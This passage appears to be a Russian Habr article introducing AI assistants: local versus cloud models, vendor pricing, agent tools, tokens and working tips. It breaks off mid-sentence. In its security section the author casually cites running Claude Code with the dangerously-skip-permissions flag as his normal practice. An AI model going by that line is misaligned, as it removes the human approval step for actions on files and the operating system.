      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;blockquote&gt;&lt;p&gt;Не тот мудр, кто знает всё, а тот, кто знает, кого спросить.&lt;/blockquote&gt;&lt;h2&gt;Немного введения&lt;/h2&gt;&lt;p&gt;В настоящее время тема искусственного интеллекта (AI) перестала быть уделом исследователей и энтузиастов — она ворвалась в повседневную работу инженеров, аналитиков, менеджеров и, по сути, всех, кто хоть как‑то взаимодействует с текстом, кодом или данными.&lt;p&gt;Тем не менее я регулярно сталкиваюсь с ситуацией, когда коллеги либо вообще не используют AI‑ассистентов, либо используют их на уровне «задай вопрос — получи ответ», не понимая, за что они платят, какие модели бывают и как из всего этого извлечь реальную пользу. В рамках данной статьи я постараюсь дать понятный обзор текущего ландшафта AI‑ассистентов: что это такое, какие бывают, сколько стоят, как с ними работать и что такое загадочные «промты» и «MCP‑серверы». Статья рассчитана на тех, кто хочет разобраться в теме, но не знает, с чего начать. Я не буду углубляться в математику нейронных сетей и вместо этого сфокусируюсь на практической стороне вопроса.&lt;h2&gt;Что такое AI‑ассистент и зачем он нужен&lt;/h2&gt;&lt;p&gt;Когда я говорю «AI» в контексте этой статьи, я имею в виду большие языковые модели (Large Language Models, LLM) — это программы, которые обучены на огромных объёмах текстовых данных и способны генерировать осмысленный текст, код, анализировать документы и решать разнообразные задачи. Если совсем просто: представьте себе очень начитанного собеседника, который прочитал практически весь интернет, научные статьи, книги и документацию. Вы задаёте ему вопрос — он отвечает. Причём отвечает не просто копируя текст откуда‑то, а формулируя ответ «своими словами», основываясь на усвоённых закономерностях языка. На практике AI‑ассистенты помогают с такими задачами:&lt;ul&gt;&lt;li&gt;&lt;p&gt;написание и редактирование текстов (от писем до технической документации)&lt;li&gt;&lt;p&gt;генерация и отладка кода на любом языке программирования&lt;li&gt;&lt;p&gt;анализ документов, таблиц, логов&lt;li&gt;&lt;p&gt;перевод текстов с учётом контекста&lt;li&gt;&lt;p&gt;генерация изображений по текстовому описанию&lt;li&gt;&lt;p&gt;исследование и поиск информации&lt;li&gt;&lt;p&gt;мозговой штурм и генерация идей&lt;/ul&gt;&lt;p&gt;Стоит отметить, что AI не является заменой специалиста — это инструмент, который значительно ускоряет работу. Я бы сравнил это с появлением IDE после блокнота: писать код можно и в блокноте, но зачем, если есть инструменты, которые делают это эффективнее?&lt;p&gt;Я не буду вдаваться в частные случаи использования AI, ведь таких вариантов большое множество, начиная с помощью твоей личной бухгалтерией, заканчивания сложными исследовательскими задачами в различных сферах деятельности: медицина, военное дело и другое.&lt;h2&gt;Немного техники взаиомодействия с AI&lt;/h2&gt;&lt;p&gt;А как вообще происходит?&lt;p&gt;Давайте я попробую объяснить, максимально просто. Представьте себе очень умного попугая, который прочитал всю библиотеку в мире. Вы ему говорите фразу, а он, основываясь на всём, что прочитал, подбирает наиболее подходящее следующее слово. Потом ещё одно. И ещё. Слово за словом — так и складывается ответ. Технически это работает так: вы пишете текст, программа разбивает его на кусочки (токены — это примерно слоги или короткие слова), превращает их в числа и прогоняет через огромную математическую модель — нейронную сеть. Эта сеть по сути является гигантской таблицей вероятностей: для каждого набора входных токенов она предсказывает, какой токен должен идти следующим. Модель не «думает» в привычном нам смысле и не «понимает» текст так, как понимаем его мы — она очень хорошо предсказывает, какой текст был бы уместен в ответ на ваш запрос, потому что видела миллиарды похожих текстов при обучении. Но результат настолько хорош, что разница на практике часто незаметна. Когда вы общаетесь с ChatGPT или Claude, вы по сути кидаете числа в огромный калькулятор, а обратно получаете другие числа, которые программа превращает обратно в текст. Вот и вся магия.&lt;p&gt;Существуют различные способы взаимодействия с LLM.&lt;h3&gt;Локальная LLM&lt;/h3&gt;&lt;p&gt;Когда я запускаю модель локально, например через Ollama, происходит следующее: я скачиваю файл с весами модели (это, по сути, «мозг» — набор числовых параметров, на которых модель обучена) себе на диск. При запуске Ollama загружает эти веса в видеопамять моей видеокарты (или в оперативную память, если GPU нет, но тогда всё будет работать значительно медленнее). Когда я пишу промт, мой текст превращается в токены — числовые коды, которые модель понимает — и прогоняется через нейронную сеть прямо на моём железе. Ответ генерируется токен за токеном, и весь этот процесс не выходит за пределы моего компьютера. Никакого интернета, никаких серверов, никакой оплаты. Но есть нюанс: качество ответа напрямую зависит от размера модели, а размер модели — от количества видеопамяти. Модель на 7 миллиардов параметров влезет в карту с 8 ГБ VRAM, но она будет заметно слабее, чем облачный Claude или GPT, у которых параметров на порядки больше.&lt;p&gt;Графически это будет выглядеть как схема ниже:&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/2e8/5a0/1fe/2e85a01feb718b3566d38823476d2ece.png width=1440 height=720 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/2e8/5a0/1fe/2e85a01feb718b3566d38823476d2ece.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/2e8/5a0/1fe/2e85a01feb718b3566d38823476d2ece.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;В чем плюсы использования локальной LLM?&lt;ul&gt;&lt;li&gt;&lt;p&gt;Ваши данные никогда не покинут сервер, где происходит их обработка.&lt;li&gt;&lt;p&gt;Полностью бесплатно — платите только за электричество.&lt;li&gt;&lt;p&gt;Работает без интернета — хоть в бункере, хоть в самолёте (при наличии хорошего источника электричества:) ).&lt;li&gt;&lt;p&gt;Полный контроль: можно дообучить модель на своих данных, выбрать любую модель из открытых, настроить параметры генерации.&lt;/ul&gt;&lt;p&gt;Минусы тоже есть:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Нужно мощное железо. Для комфортной работы с серьёзными моделями — видеокарта от 8 ГБ VRAM, а лучше 16+. Это недёшево.&lt;li&gt;&lt;p&gt;Качество ответов заметно слабее, чем у облачных флагманов. Локальная модель на 7–13 миллиардов параметров не сравнится с облачным GPT-5 или Claude Opus.&lt;li&gt;&lt;p&gt;Придётся разбираться с установкой, настройкой и обновлениями самостоятельно.&lt;li&gt;&lt;p&gt;Нет встроенных инструментов из коробки — только голый текст «вопрос‑ответ».&lt;/ul&gt;&lt;p&gt;Как я использовал локальные LLM на основе своего опыта:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Обработка данных клиента (документы, базы данных) с использованием вектороной базы данных. LLM хорошо ориентируется и неплохо ищет и строит отчеты.&lt;li&gt;&lt;p&gt;Анонимизация данных перед отправкой облачную LLM. Она хорошо справляется с анонимизацией данных на основе заданных критериев, например, на основе плана, описываемого в YAML формате.&lt;li&gt;&lt;p&gt;Использование локальной LLM в роли агента. С правильным подходом, инжектированием промтов и собственными tools/skills довольно хорошо ориентируется в рамках своего контекстного окна.&lt;/ul&gt;&lt;h3&gt;Облачная LLM&lt;/h3&gt;&lt;p&gt;Здесь всё наоборот — модель работает не у меня, а на серверах провайдера. Когда я открываю, скажем, claude.ai или chatgpt.com и пишу сообщение, мой текст уходит по зашифрованному протоколу (HTTPS) на серверы Anthropic/OpenAI, где стоят кластеры из дорогих GPU (A100, H100 и подобные), на которых и работает модель. Там мой промт так же превращается в токены, прогоняется через нейронную сеть, и сгенерированный ответ прилетает мне обратно — обычно в режиме стриминга, то есть я вижу, как текст появляется по словам. Преимущество в том, что мне не нужно думать о железе вообще — провайдер держит модели с сотнями миллиардов параметров на оборудовании, которое стоит миллионы долларов. За это я плачу подпиской или за токены через API.&lt;h4&gt;Какие AI‑ассистенты существуют&lt;/h4&gt;&lt;p&gt;На сегодняшний день рынок AI‑ассистентов сформировался вокруг нескольких основных игроков. Давайте рассмотрим ключевых.&lt;p&gt;&lt;strong&gt;ChatGPT (OpenAI)&lt;/strong&gt;&lt;p&gt;Пожалуй, самый известный AI‑ассистент. Разработан компанией OpenAI. Актуальные модели — GPT-5.x. ChatGPT хорош в качестве универсального помощника: он одинаково уверенно работает с текстом, кодом, генерацией изображений (через DALL‑E) и анализом данных.&lt;p&gt;&lt;strong&gt;Claude (Anthropic)&lt;/strong&gt;&lt;p&gt;Разработан компанией Anthropic. Актуальные модели — Claude Opus 4.6, Claude Sonnet 4.6, Claude Haiku 4.5. Claude известен тем, что выдаёт ответы, которые «звучат» наименее «роботизированно». Он особенно силён в работе с длинными документами, написании качественного кода и задачах, требующих глубокого анализа. Claude умеет работать с файлами, создавать документы (Word, PowerPoint, Excel), создавать интерактивные React‑компоненты прямо в чате.&lt;p&gt;&lt;strong&gt;Gemini (Google)&lt;/strong&gt;&lt;p&gt;Разработан Google. Актуальные модели — Gemini 3.x. Главное преимущество — глубокая интеграция с экосистемой Google (Gmail, Docs, Drive). Если вы живёте в Google Workspace, Gemini будет работать прямо там, где вы работаете. Также Gemini отличается большими контекстными окнами и мультимодальностью (работа с текстом, изображениями, видео).&lt;p&gt;&lt;strong&gt;Grok (xAI)&lt;/strong&gt;&lt;p&gt;Разработан компанией xAI (Илон Маск). Доступен через платформу X (бывший Twitter). Grok позиционируется как наиболее бюджетный вариант по стоимости API и предлагает модели, конкурентные по качеству. Отличается, скажем так, более «разговорным» стилем общения.&lt;p&gt;&lt;strong&gt;Copilot (Microsoft)&lt;/strong&gt;&lt;p&gt;Интегрирован в экосистему Microsoft (Office 365, Windows, VS Code). Если ваша компания работает на стеке Microsoft — Copilot встроен прямо в привычные инструменты.&lt;p&gt;&lt;strong&gt;Личной выбор каждого, но:&lt;/strong&gt;&lt;p&gt;На рынке два серьезных игрока, которые по качеству моделей и используемых инструментов борятся за пользователей: Anthropic и ChatGPT.&lt;p&gt;Если вы программист и работаете со сложными проектами, то я бы рекомендовал Anthropic (Claude) с текущей моделью Opus 4.6 (1m или 200k), а также если вы хотите получить качественный документ MS Office. Модель немного отличается своей реактивностью, но это решается правильными промтами и окружением agents.md/memory и прочее. Картинки не генерит, зато рисует прекрасные схемы (графические блок схемы, HTML схемы).&lt;p&gt;ChatGPT также неплоха в программировании и исследовательских задачах, но она более «задушена», работает немного медленнее, но часто может разобраться в сложных задачах, например, анализа больших данных: кода, API. Я часто использую ее в роли арбитра, для вынесения вердикта после этапов программирования или анализа PRD. Можно генерировать качественные изображения.&lt;h4&gt;За что мы платим и какие типы аккаунтов бывают&lt;/h4&gt;&lt;p&gt;Это, пожалуй, один из самых частых вопросов: «Зачем платить, если есть бесплатная версия?». Давайте разберёмся. Бесплатный доступ Все основные AI‑ассистенты предоставляют бесплатный доступ.&lt;p&gt;Однако он ограничен:&lt;ul&gt;&lt;li&gt;&lt;p&gt;доступ к менее мощным моделям (или ограниченный доступ к мощным)&lt;li&gt;&lt;p&gt;лимит на количество сообщений в день или в час; отсутствие (или ограничение) продвинутых функций:&lt;li&gt;&lt;p&gt;генерация изображений, работа с файлами, Deep Research и так далее&lt;/ul&gt;&lt;p&gt;Я бы сказал, чтобы понять какая AI лучше, начните с бесплатной, но это не так. При покупке подписки или API вы получаете доступ в мощным моделям, которая по разному обучены, имеют разную глубину, количество слоев и др. и по настоящему AI раскрывается именно при наличии подписки.&lt;p&gt;Еще раз, выбор модели влияет на результат. Если вы спрашиваете «сколько будет 2+2» — нет смысла использовать флагманскую модель. А вот для анализа контракта на 50 страниц или написания сложного алгоритма лучше использовать самую мощную доступную модель.&lt;p&gt;&lt;strong&gt;Подписка или API?&lt;/strong&gt;&lt;p&gt;Тут есть важный момент, который стоит пояснить — разница между подпиской и API, потому что это два принципиально разных способа оплаты.&lt;p&gt;Когда вы покупаете подписку (например, Claude Pro или ChatGPT Plus за $20/мес), вы получаете не безлимитный доступ, как может показаться, а определённый пул использования на временной промежуток. У каждого провайдера это устроено по‑своему: где‑то это ограничение на количество сообщений за 3–5 часов, где‑то — на объём обработанных токенов. Когда вы упираетесь в лимит, AI вежливо просит подождать. Через некоторое время счётчик сбрасывается и можно работать дальше. На практике для обычного использования — написать письмо, разобраться в коде, проанализировать документ — стандартной подписки хватает с большим запасом. Упираются в лимиты, как правило, те, кто работает с AI плотно и непрерывно на протяжении всего дня.&lt;p&gt;API — это совсем другая история. Здесь нет фиксированной абонентской платы. Вы платите ровно за то, что использовали: отправили промт — заплатили за входящие токены, получили ответ — заплатили за исходящие. Это как оплата за электричество по счётчику вместо фиксированного тарифа. API нужен в первую очередь разработчикам, которые встраивают AI в свои продукты: чат‑боты, системы анализа, автоматизация — всё, что работает без участия человека в каждом запросе. Для обычного пользователя API избыточен, а вот для бизнеса это основной способ работы с AI.&lt;p&gt;Если вы один или небольшая команда разработчиков, то, конечно, лучше смотреть в сторону подписки Max (или Pro Max) для от Anthropic (Claude) или Pro (5x) (или Pro 10x) от OpenAI (Codex). В своей практике я использую Claude Pro и OpenAI Pro.&lt;p&gt;Если вы обычный пользователь, но хотите получить много больше от AI, то рекомендую купить подписку Claude Pro или ChatGPT, обе около $20 в месяц.&lt;h4&gt;Платные планы&lt;/h4&gt;&lt;p&gt;Стоимость платных подписок на середину 2026 года выглядит примерно так:&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th data-colwidth=99 width=99&gt;&lt;p align=left&gt;Сервис&lt;th data-colwidth=217 width=217&gt;&lt;p align=left&gt;Стандартный план&lt;th&gt;&lt;p align=left&gt;Продвинутый план&lt;th&gt;&lt;p align=left&gt;Команды&lt;tr&gt;&lt;td data-colwidth=99 width=99&gt;&lt;p align=left&gt;ChatGPT&lt;td data-colwidth=217 width=217&gt;&lt;p align=left&gt;Plus — $20/мес&lt;td&gt;&lt;p align=left&gt;Pro — $200/мес&lt;td&gt;&lt;p align=left&gt;Team — $25-30/мес за пользователя&lt;tr&gt;&lt;td data-colwidth=99 width=99&gt;&lt;p align=left&gt;Claude&lt;td data-colwidth=217 width=217&gt;&lt;p align=left&gt;Pro — $20/мес&lt;td&gt;&lt;p align=left&gt;Max — $100-200/мес&lt;td&gt;&lt;p align=left&gt;Team — $25-30/мес за пользователя&lt;tr&gt;&lt;td data-colwidth=99 width=99&gt;&lt;p align=left&gt;Gemini&lt;td data-colwidth=217 width=217&gt;&lt;p align=left&gt;AI Pro — $19.99/мес&lt;td&gt;&lt;p align=left&gt;AI Ultra — $249.99/мес&lt;td&gt;&lt;p align=left&gt;Через Google Workspace&lt;tr&gt;&lt;td data-colwidth=99 width=99&gt;&lt;p align=left&gt;Grok&lt;td data-colwidth=217 width=217&gt;&lt;p align=left&gt;SuperGrok — $30/мес&lt;td&gt;&lt;p align=left&gt;Heavy — $300/мес&lt;td&gt;&lt;p align=left&gt;Через X Premium+&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4&gt;Возвращаемся к работе с облачной AI&lt;/h4&gt;&lt;p&gt;Схематично работа с облачной AI выглядит как показано на рисунке ниже:&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/598/b78/8ac/598b788ace7861561ee0c2705aa0d61d.png width=1440 height=698 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/598/b78/8ac/598b788ace7861561ee0c2705aa0d61d.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/598/b78/8ac/598b788ace7861561ee0c2705aa0d61d.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Плюсы:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Доступ к самым мощным моделям в мире — с сотнями миллиардов параметров на железе за миллионы долларов. Вам ничего покупать не нужно. Начать можно за 30 секунд — открыл браузер, зарегистрировался, пишешь.&lt;li&gt;&lt;p&gt;Модели постоянно обновляются и улучшаются без вашего участия.&lt;li&gt;&lt;p&gt;Есть бесплатные тарифы, которых достаточно для знакомства.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Минусы:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Ваши данные уходят на серверы провайдера. Для чувствительных корпоративных данных это может быть неприемлемо.&lt;li&gt;&lt;p&gt;Нужен стабильный интернет.&lt;li&gt;&lt;p&gt;Платная подписка для полноценного использования ($20/мес и выше).&lt;li&gt;&lt;p&gt;Вы зависите от провайдера: если он решит изменить модель, поднять цены или упадёт — вы ничего не контролируете.&lt;/ul&gt;&lt;p&gt;Различные мои случаи, в которых я использую публичные AI смысла описывать нет, поскольку каждый находит применение AI в соответствии со своими рабочими обязанностями, бизнесом и уровнем собственного развития.&lt;h4&gt;Агенты AI&lt;/h4&gt;&lt;p&gt;Представьте, что LLM — это очень умный мозг в банке. Он может думать, но не может ничего делать: у него нет рук, нет глаз, нет доступа к интернету. Вы кидаете ему текст — он кидает текст обратно. Всё.&lt;p&gt;AI‑агент — это тот же мозг, но уже с руками, ногами и инструментами. Он может сходить в интернет, открыть файл, написать и запустить код, отправить письмо, создать задачу в Jira. Разница ровно такая же, как между человеком, который сидит в пустой комнате и отвечает на записки через щель в двери, и человеком, у которого есть компьютер, телефон и доступ ко всем вашим системам. Мозг один и тот же — отличается то, что ему разрешили делать.&lt;p&gt;По сути, каждый раз когда вы открываете ChatGPT или Claude в браузере, вы уже работаете с AI‑агентом. Просто степень его самостоятельности бывает разной — от простого «спросил‑ответил» до полноценной автономной работы.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/263/49d/b17/26349db17b0149fcca0807c4b3153ef8.png width=1440 height=804 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/263/49d/b17/26349db17b0149fcca0807c4b3153ef8.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/263/49d/b17/26349db17b0149fcca0807c4b3153ef8.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Помимо браузера, AI‑агенты могут работать прямо на вашем компьютере — и тут есть принципиально разные форматы:&lt;p&gt;&lt;strong&gt;Десктопные приложения&lt;/strong&gt; (Claude Desktop, ChatGPT Desktop) — по сути тот же чат, что и в браузере, но в виде отдельной программы. Казалось бы, зачем, если есть браузер? Разница в том, что десктопное приложение может заимодействовать с вашей локальной системой. Главное преимущество Claude Desktop — поддержка MCP‑серверов. Через них приложение получает доступ к файлам на диске, локальным базам данных, Git‑репозиториям и вообще к чему угодно, что вы настроите. В браузерной версии этого нет. ChatGPT Desktop работает аналогично.&lt;p&gt;&lt;strong&gt;Терминальные агенты&lt;/strong&gt; (Claude Code, OpenAI Codex CLI) — это совсем другой зверь. Они работают прямо в командной строке, без графического интерфейса. Вы пишете задачу текстом, а агент сам читает файлы вашего проекта, пишет код, запускает команды, видит ошибки, исправляет их и запускает снова. По сути это программист‑напарник, который сидит у вас в терминале. Я запускаю Claude Code в папке проекта, говорю «добавь авторизацию через OAuth» — и он сам находит нужные файлы, пишет код, ставит зависимости, запускает тесты. Мне остаётся только проверить результат и подтвердить изменения. Это самый мощный формат для разработчиков, но и порог входа соответствующий — нужно быть уверенным пользователем терминала.&lt;p&gt;&lt;strong&gt;IDE‑расширения&lt;/strong&gt; (GitHub Copilot, Claude Code для VS Code и JetBrains, Cursor) — золотая середина. Агент встроен прямо в вашу среду разработки. Он видит ваш код, предлагает автодополнение, объясняет ошибки, рефакторит функции, пишет тесты — всё в контексте вашего проекта, не выходя из редактора. Cursor пошёл ещё дальше — это отдельная IDE, целиком построенная вокруг AI: вы выделяете кусок кода, описываете словами что хотите изменить, и Cursor вносит правки сам. Для программиста, который проводит весь день в IDE, это самый естественный и быстрый способ работы с AI.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/bdf/989/6a5/bdf9896a56ea4d1b2414b3714b29f87b.png width=1440 height=1016 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/bdf/989/6a5/bdf9896a56ea4d1b2414b3714b29f87b.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/bdf/989/6a5/bdf9896a56ea4d1b2414b3714b29f87b.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Важно понимать: все эти приложения используют облачные модели. Claude Desktop, Claude Code и Cursor отправляют ваши запросы на серверы Anthropic или OpenAI — модель работает в облаке, а приложение на вашем компьютере выступает умным клиентом, который знает контекст вашей локальной среды. Это не то же самое, что локальная LLM через Ollama, где модель физически работает на вашем железе.&lt;h3&gt;Что такое токены&lt;/h3&gt;&lt;p&gt;Я уже несколько раз упоминал токены, и пора объяснить, что это конкретно. Токен — это минимальная единица текста, которую понимает модель. Это не совсем слово и не совсем слог — скорее что‑то среднее. Для английского языка одно слово в среднем занимает 1–1.3 токена. Слово «hello» — один токен. Слово «unfortunately» — тоже может быть одним токеном, потому что модель видела его миллионы раз и «запомнила» целиком. А вот редкое слово вроде «defenestration» модель разобьёт на несколько кусков.&lt;p&gt;И тут есть важный нюанс для русскоязычных пользователей: русский текст обходится примерно в 2–3 раза дороже английского. Слово «привет» — это 2–3 токена, тогда как «hello» — один. Это происходит потому, что модели обучались преимущественно на английском, и кириллица для них менее «привычна» — они разбивают русские слова на более мелкие куски. На практике это означает, что одна и та же по смыслу переписка на русском съест контекстное окно быстрее, чем на английском, и через API обойдётся дороже.&lt;p&gt;Чтобы было нагляднее: одна страница текста А4 — это примерно 500–700 токенов на английском и 1000–1500 на русском. Книга в 300 страниц — около 200 000 токенов. То есть целая книга как раз влезает в контекстное окно Claude (200k), но при этом занимает его целиком, и для самого диалога места уже не остаётся. Поэтому когда вы загружаете большой документ, старайтесь делать это в начале чистого чата, а не посреди длинного диалога.&lt;h3&gt;Что важно знать при работе с AI‑агентом&lt;/h3&gt;&lt;p&gt;Не только с AI‑агентом, а в целом с AI, с которым вы взаимодействуете (в браузере, по API, через приложение, через CLI):&lt;p&gt;&lt;strong&gt;Контекстное окно — главное ограничение.&lt;/strong&gt; Контекстное окно — это объём информации, который агент может «держать в голове» одновременно. Измеряется в токенах: у Claude это около 200 000 токенов или 1 миллион для модели Opus 4.6, у GPT — в зависимости от модели от 128 000 до миллиона. Звучит много, но на практике оно заполняется быстро: туда входит системный промт, вся история вашего диалога, содержимое загруженных файлов и результаты вызова инструментов. Когда окно переполняется, агент начинает «забывать» начало разговора — буквально теряет из виду то, о чём вы договорились двадцать сообщений назад. Это не баг, а физическое ограничение архитектуры. Поэтому длинные диалоги на сложную тему — это всегда риск потери контекста.&lt;p&gt;&lt;strong&gt;Сжатие контекста — как агент справляется с длинными сессиями.&lt;/strong&gt; Некоторые агенты (например, Claude Code, Codex) умеют автоматически сжимать контекст: когда окно начинает переполняться, агент суммаризирует предыдущую часть диалога, сохраняя ключевые решения и выбрасывая детали. Это помогает, но неизбежно приводит к потерям — агент может забыть нюанс, который казался вам очевидным. Поэтому я взял за правило: если диалог стал длинным и агент начинает «плыть» — лучше начать новый чат, кратко пересказав ключевые решения в первом сообщении, чем пытаться дотянуть старый.&lt;p&gt;Когда видите что контекстное окно заканчивается, лучше спросить агента сформировать результаты работы в отдельный файл, чтобы при следующей сессии вы просто сказали прочитать этот файл и агент все «вспомнил».&lt;p&gt;&lt;a href=http://CLAUDE.md rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;CLAUDE.md&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; / &lt;/strong&gt;&lt;a href=http://agents.md rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;agents.md&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; — инструкция для агента на уровне проекта.&lt;/strong&gt; Это файл, который лежит в корне вашего проекта и автоматически подгружается агенту в контекст при каждом запуске. По сути это ваш «бриф» для AI: какие технологии используются, какие соглашения по коду приняты, какая структура проекта, какие команды запускать для тестов. Без этого файла агент каждый раз начинает с нуля и тратит ваши токены (и ваше время) на то, чтобы заново понять, как устроен проект. Я бы рекомендовал заводить &lt;a href=http://CLAUDE.md rel=&#34;noopener noreferrer nofollow&#34;&gt;CLAUDE.md&lt;/a&gt; в каждом серьёзном проекте — это как README, только для AI.&lt;p&gt;Лучшие практики по созданию инструкций описаны непосредственно на веб‑сайтах: claude.md, agents.md.&lt;p&gt;&lt;strong&gt;PRD — ваш главный инструмент при работе с агентом.&lt;/strong&gt; Product Requirements Document — это подробное описание того, что вы хотите получить. Чем детальнее PRD, тем лучше результат. Когда вы просто говорите агенту «сделай мне API для управления пользователями», вы получите что‑то работающее, но почти наверняка не то, что вы имели в виду. Когда вы даёте PRD с описанием эндпоинтов, моделей данных, правил валидации, ролевой модели, обработки ошибок и примерами запросов — результат будет на порядок ближе к ожиданиям. Я обычно прошу сам AI помочь мне написать PRD: описываю задачу своими словами, а агент структурирует это в полноценный документ. Потом я правлю и отдаю ему же как задание.&lt;p&gt;Важно из практики: описать именно основную логику задачи, что вы хотите получить.&lt;p&gt;&lt;strong&gt;Делите сложные задачи на подзадачи.&lt;/strong&gt; Это, пожалуй, самое важное правило. Если вы просите агента за один промт написать целое приложение — с авторизацией, базой данных, REST API, тестами и деплоем — результат будет посредственным. Агент попытается сделать всё разом, запутается в зависимостях и выдаст код, который красиво выглядит, но разваливается при первом запуске. Правильный подход — декомпозиция: сначала структура проекта, потом модели данных, потом эндпоинты по одному, потом тесты к каждому, потом интеграция. Каждую подзадачу — в отдельном запросе или даже в отдельном чате. Да, это дольше. Но результат будет рабочим.&lt;p&gt;Есть разные продукты, которые поддерживают декомпозицию сложных задач на простые, чтобы агент успевал сделать все в рамках своего контекстного окна. Да, сейчас Codex и Claude поддерживают самостоятельную декомпозицию но результат желает быть лучшим.&lt;p&gt;Пример решения это использование AI Agent Loop Orchestrator (например, бесплатный RalphTUI или легко ищутся другие варианты и платные и бесплатные).&lt;p&gt;&lt;strong&gt;Всегда проверяйте результат.&lt;/strong&gt; AI‑агент не является безошибочным. Он может написать код, который выглядит идеально, но содержит логическую ошибку. Может уверенно «сослаться» на несуществующую функцию библиотеки. Может удалить файл, который вы не просили удалять. Я выработал правило: после каждой завершённой задачи — ревью. Для кода это запуск тестов, линтера и ручная проверка логики. Для текста — вычитка на фактические ошибки. Для любых действий с файловой системой — проверка через git diff, что именно изменилось.&lt;p&gt;Повторная проверка написанного кода — это общая практика, особенно если у вас есть доступ к двум разным AI.&lt;p&gt;&lt;strong&gt;Git — ваша страховка.&lt;/strong&gt; Перед тем как дать агенту задачу, которая затрагивает существующий код, сделайте коммит. Всегда. Агент может переписать файл целиком, удалить «лишние» функции, которые на самом деле используются, или «отрефакторить» рабочий код в нерабочий. Если у вас есть коммит — вы в любой момент откатитесь. Если нет — будете восстанавливать по памяти. Я обычно создаю отдельную ветку для каждой AI‑задачи и мержу только после проверки.&lt;p&gt;&lt;strong&gt;Один агент — один фокус.&lt;/strong&gt; Не пытайтесь в одном чате обсуждать архитектуру проекта, дебажить конкретный баг и попутно просить написать документацию. Каждая тема — отдельный чат. Когда вы смешиваете контексты, агент начинает путаться: решения из одной задачи «перетекают» в другую, контекстное окно забивается нерелевантной информацией, качество ответов падает. Думайте об этом как о вкладках в браузере: для каждой задачи своя вкладка.&lt;p&gt;&lt;strong&gt;Промт «подумай пошагово» — не шутка.&lt;/strong&gt; Когда задача сложная, добавляйте в промт просьбу рассуждать пошагово, или используйте режим Extended Thinking (у Claude) / Chain of Thought (у GPT). Модель буквально начинает «думать вслух» — разбивает задачу на шаги, анализирует каждый, и только потом выдаёт ответ. Качество на сложных задачах вырастает драматически. Это особенно важно для задач с логикой, математикой, архитектурными решениями и отладкой.&lt;p&gt;&lt;strong&gt;Давайте агенту примеры.&lt;/strong&gt; Если вы хотите определённый стиль кода, формат ответа или структуру документа — не описывайте это словами, покажите пример. «Напиши тесты» — это один результат. «Напиши тесты в таком стиле: [пример теста]» — совершенно другой. Модели отлично обучаются на примерах прямо в рамках диалога. Один хороший пример стоит абзаца объяснений.&lt;p&gt;&lt;strong&gt;Используйте скриншоты и файлы.&lt;/strong&gt; Современные агенты — мультимодальные, они понимают изображения. Если у вас баг в интерфейсе — сделайте скриншот и отправьте агенту вместе с описанием. Если нужно проанализировать документ — загрузите файл целиком, а не копируйте куски текста. Чем больше контекста вы даёте, тем точнее результат.&lt;p&gt;&lt;strong&gt;Помните про галлюцинации.&lt;/strong&gt; AI‑агент может с абсолютной уверенностью выдать неверную информацию: несуществующий метод API, выдуманную библиотеку, неправильную команду. Это называется галлюцинации. Они происходят потому, что модель генерирует наиболее вероятный текст, а не проверяет факты. Чем более специфична и нишевая тема, тем выше вероятность галлюцинации. Правило простое: всё, что касается конкретных имён функций, версий библиотек, синтаксиса команд — проверяйте по документации.&lt;p&gt;&lt;strong&gt;Безопасность: &lt;/strong&gt;приложение или CLI с AI, всегда запущены в режиме пониженных привилегий, на любое действие, требующее работу с файловой системой или взаимодействия с ОС, агент спросит разрешение. Но сообщения бывают очень назойливыми и тут, вы решаете сами, дать агенту больше прав или отвечать на каждый вопрос вручную.&lt;p&gt;Мой пример обычной работы с claude: claude ‑dangerously‑skip‑permissions:)&lt;p&gt;Стоимость ошибки агента&lt;p&gt;Отдельно хочу предупредить про вещь, о которой редко говорят в обзорах, но которая бьёт по кошельку очень ощутимо. Агент может зациклиться — и это дорого.&lt;p&gt;Первое — если работаете через API, всегда ставьте лимиты на расход: и по деньгам, и по количеству запросов. Все провайдеры позволяют это настроить. Второе — не оставляйте агента работать без присмотра надолго, особенно если у него есть доступ к чему‑то важному. Третье — для любых экспериментов используйте песочницу: отдельную ветку в Git, тестовую базу данных, изолированный Docker‑контейнер. Цена ошибки в песочнице — ноль. Цена ошибки в продакшене — сами 